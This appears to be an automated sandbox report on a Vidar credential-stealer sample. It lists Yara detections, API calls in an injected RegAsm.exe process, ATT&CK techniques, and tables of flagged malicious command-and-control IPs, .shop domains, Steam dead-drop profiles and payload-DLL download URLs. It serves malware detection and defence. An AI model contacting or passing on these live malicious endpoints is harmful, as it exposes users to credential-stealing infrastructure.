Source: Yara match	File source: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1735460446.0000000003965000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 6.2.userKECGDBFCBK.exe.3925570.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.userKECGDBFCBK.exe.3925570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: userKECGDBFCBK.exe PID: 5828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1800, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C440C40 sqlite3_bind_zeroblob,	2_2_6C440C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C440D60 sqlite3_bind_parameter_name,	2_2_6C440D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C368EA0 sqlite3_clear_bindings,	2_2_6C368EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2248E200 sqlite3_initialize,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	8_2_2248E200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2248E090 sqlite3_bind_int64,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	8_2_2248E090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2249E170 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	8_2_2249E170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224366C0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_null,sqlite3_bind_blob,sqlite3_bind_value,sqlite3_free,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	8_2_224366C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2249A6F0 sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,	8_2_2249A6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2247EF30 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_result_error_code,	8_2_2247EF30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224E3770 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	8_2_224E3770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_225037E0 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	8_2_225037E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2244B400 sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,sqlite3_reset,sqlite3_step,sqlite3_reset,sqlite3_column_int64,	8_2_2244B400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22498200 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,	8_2_22498200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224706E0 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,	8_2_224706E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22448680 sqlite3_mprintf,sqlite3_mprintf,sqlite3_initialize,sqlite3_finalize,sqlite3_free,sqlite3_mprintf,sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_int64,	8_2_22448680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22478550 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,	8_2_22478550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22434820 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,sqlite3_initialize,	8_2_22434820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22450FB0 sqlite3_result_int64,sqlite3_result_double,sqlite3_result_int,sqlite3_prepare_v3,sqlite3_bind_int64,sqlite3_step,sqlite3_column_value,sqlite3_result_value,sqlite3_reset,	8_2_22450FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22504D40 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,InitOnceBeginInitialize,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	8_2_22504D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224DD3B0 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	8_2_224DD3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224B9090 sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_errmsg,sqlite3_mprintf,	8_2_224B9090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224C51D0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	8_2_224C51D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224FD610 sqlite3_free,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	8_2_224FD610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_225414D0 sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,	8_2_225414D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2254D4F0 sqlite3_bind_value,sqlite3_log,sqlite3_log,sqlite3_log,	8_2_2254D4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224C55B0 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	8_2_224C55B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2249DB10 sqlite3_initialize,sqlite3_bind_int64,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	8_2_2249DB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224C5910 sqlite3_mprintf,sqlite3_bind_int64,	8_2_224C5910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2254D9E0 sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,	8_2_2254D9E0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	21 Native API	Boot or Logon Initialization Scripts	511 Process Injection	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	2 Software Packing	NTDS	156 System Information Discovery	Distributed Component Object Model	1 Email Collection	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	161 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
http://www.entrust.net/rpa03	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
stogeneratmns.shop	100%	Avira URL Cloud	malware
https://help.steampowered.com/en/	0%	URL Reputation	safe
http://cowod.GCBKFIEBGCAA	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=B0lGn8MokmdT&l=e	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	Avira URL Cloud	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllG	100%	Avira URL Cloud	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	0%	Avira URL Cloud	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
http://cowod.hopto.org_DEBUG.zip/c	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dllM?	100%	Avira URL Cloud	malware
http://crl.entrust.net/ts1ca.crl0	0%	URL Reputation	safe
https://login.steampowered.com/	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	Avira URL Cloud	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	0%	URL Reputation	safe
https://www.youtube.com	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://aia.entrust.net/ts1-chain256.cer01	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://api.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/mobile	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english	0%	URL Reputation	safe
https://player.vimeo.com	0%	URL Reputation	safe
https://reinforcenh.shop/api	100%	Avira URL Cloud	malware
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0	0%	Avira URL Cloud	safe
https://5.75.211.162/vcruntime140.dll	100%	Avira URL Cloud	malware
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://5.75.211.162/softokn3.dll#	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WnGP	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
https://www.youtube.com/	0%	Avira URL Cloud	safe
fragnantbui.shop	100%	Avira URL Cloud	malware
offensivedzvju.shop	100%	Avira URL Cloud	malware
https://www.google.com/recaptcha/	0%	Avira URL Cloud	safe
http://46.8.231.109FCBKorm-data;	0%	Avira URL Cloud	safe
https://5.75.211.162/freebl3.dllF	100%	Avira URL Cloud	malware
https://steamcommunity.com/.	0%	Avira URL Cloud	safe
http://46.8.231.109/7	100%	Avira URL Cloud	malware
https://ballotnwu.site/)S	0%	Avira URL Cloud	safe
https://stogeneratmns.shop/apiU	100%	Avira URL Cloud	malware
https://steamcommunity.com/profiles/76561199780418869/inventory/	100%	Avira URL Cloud	malware
http://46.8.231.109/%	100%	Avira URL Cloud	malware
https://steamcommunity.com/profiles/76561199780418869	100%	Avira URL Cloud	malware
https://5.75.211.162/mozglue.dllM	100%	Avira URL Cloud	malware
http://46.8.231.109/	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a	0%	Avira URL Cloud	safe
http://46.8.231.109/c4754d4f680ead72.php32	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	100%	Avira URL Cloud	malware
https://steamcommunity.com/workshop/	0%	Avira URL Cloud	safe
https://5.75.211.162/softokn3.dll	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllm	100%	Avira URL Cloud	malware
https://dbsmena.com/	0%	Avira URL Cloud	safe
https://dbsmena.com/b	0%	Avira URL Cloud	safe
http://cowod.hopto.EBGCAA	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	0%	Avira URL Cloud	safe
https://dbsmena.com/vdshfd.exe=	0%	Avira URL Cloud	safe
https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869	0%	Avira URL Cloud	safe
https://ballotnwu.site:443/apiprofiles/76561199724331900	0%	Avira URL Cloud	safe
https://5.75.211.162/freebl3.dlls	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dllh	100%	Avira URL Cloud	malware
http://127.0.0.1:27060	0%	Avira URL Cloud	safe
https://stogeneratmns.shop/api	100%	Avira URL Cloud	malware
http://cowod.hoptoIEBGCAA	0%	Avira URL Cloud	safe
https://ghostreedmnu.shop/api	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	Avira URL Cloud	safe
https://dbsmena.com/ljhgfsd.exeba	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	100%	Avira URL Cloud	malware
https://5.75.211.162/	100%	Avira URL Cloud	malware
http://46.8.231.109/c4754d4f680ead72.php=2%	100%	Avira URL Cloud	malware
http://46.8.231.109/c4754d4f680ead72.php	100%	Avira URL Cloud	malware
http://46.8.231.109/c4754d4f680ead72.phpY	100%	Avira URL Cloud	malware
http://cowod.hopto.org	0%	Avira URL Cloud	safe
https://steamcommunity.com/?subsection=broadcasts	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	100%	Avira URL Cloud	malware
https://store.steampowered.com/subscriber_agreement/	0%	Avira URL Cloud	safe
http://46.8.231.109/c4754d4f680ead72.phpp	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fragnantbui.shop	188.114.96.3	true	true	unknown
gutterydhowi.shop	104.21.4.136	true	true	unknown
steamcommunity.com	104.102.49.254	true	true	unknown
cowod.hopto.org	45.132.206.251	true	true	unknown
offensivedzvju.shop	188.114.97.3	true	true	unknown
stogeneratmns.shop	188.114.96.3	true	true	unknown
reinforcenh.shop	172.67.208.139	true	true	unknown
drawzhotdog.shop	172.67.162.108	true	true	unknown
ghostreedmnu.shop	188.114.96.3	true	true	unknown
vozmeatillu.shop	188.114.96.3	true	true	unknown
dbsmena.com	172.105.54.160	true	false	unknown
ballotnwu.site	104.21.2.13	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
stogeneratmns.shop	true	Avira URL Cloud: malware	unknown
https://reinforcenh.shop/api	true	Avira URL Cloud: malware	unknown
https://5.75.211.162/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
fragnantbui.shop	true	Avira URL Cloud: malware	unknown
offensivedzvju.shop	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199780418869	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true	Avira URL Cloud: malware	unknown
https://5.75.211.162/softokn3.dll	true	Avira URL Cloud: malware	unknown
https://stogeneratmns.shop/api	true	Avira URL Cloud: malware	unknown
https://ghostreedmnu.shop/api	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	true	Avira URL Cloud: malware	unknown
https://5.75.211.162/	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/c4754d4f680ead72.php	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dllM?	RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	RegAsm.exe, 00000002.00000002.2244524947.0000000001232000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.0000000001271000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=B0lGn8MokmdT&l=e	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.gstatic.cn/recaptcha/	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cowod.GCBKFIEBGCAA	RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllG	RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://cowod.hopto.org_DEBUG.zip/c	userKECGDBFCBK.exe, 00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	RegAsm.exe, 00000008.00000002.2624007982.000000000063A000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.2924643439.00000000004D4000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0	userKECGDBFCBK.exe, 00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://s.ytimg.com;	RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://5.75.211.162/softokn3.dll#	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	RegAsm.exe, 00000002.00000002.2244524947.0000000001232000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.0000000001271000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WnGP	RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069541684.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.entrust.net/rpa03	RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	RegAsm.exe, 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
